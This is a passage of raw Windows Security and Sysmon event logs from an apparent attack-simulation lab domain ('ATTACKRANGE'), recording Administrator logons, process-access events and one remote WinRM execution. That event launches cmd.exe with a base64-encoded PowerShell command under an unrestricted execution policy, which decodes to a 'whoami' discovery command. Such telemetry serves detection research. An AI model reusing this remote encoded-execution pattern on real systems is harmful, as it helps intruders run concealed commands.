impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x46769","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221740,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x46769\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x46769","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2545,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2546,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2547,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.030\r\nProcessGuid: {90617006-400A-5F2D-0000-00109A670400}\r\nProcessId: 4772\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4009-5F2D-0000-0020AF640400}\r\nLogonId: 0x464AF\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4009-5F2D-0000-0010DD640400}\r\nParentProcessId: 4696\r\nParentImage: C:\\Windows\\System32\\winrshost.exe\r\nParentCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.030","ProcessGuid":"{90617006-400A-5F2D-0000-00109A670400}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4009-5F2D-0000-0020AF640400}","LogonId":"0x464af","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4009-5F2D-0000-0010DD640400}","ParentProcessId":"4696","ParentImage":"C:\\Windows\\System32\\winrshost.exe","ParentCommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2548,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-4009-5F2D-0000-0010DD640400}\r\nSourceProcessId: 4696\r\nSourceThreadId: 4752\r\nSourceImage: C:\\Windows\\system32\\WinrsHost.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-00109A670400}\r\nTargetProcessId: 4772\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-4009-5F2D-0000-0010DD640400}","SourceProcessId":"4696","SourceThreadId":"4752","SourceImage":"C:\\Windows\\system32\\WinrsHost.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-00109A670400}","TargetProcessId":"4772","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\WinrsHost.exe+2c94|C:\\Windows\\system32\\WinrsHost.exe+2eb1|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2549,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-400A-5F2D-0000-00109A670400}\r\nTargetProcessId: 4772\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-400A-5F2D-0000-00109A670400}","TargetProcessId":"4772","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2550,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2551,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.022","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2552,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.022\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 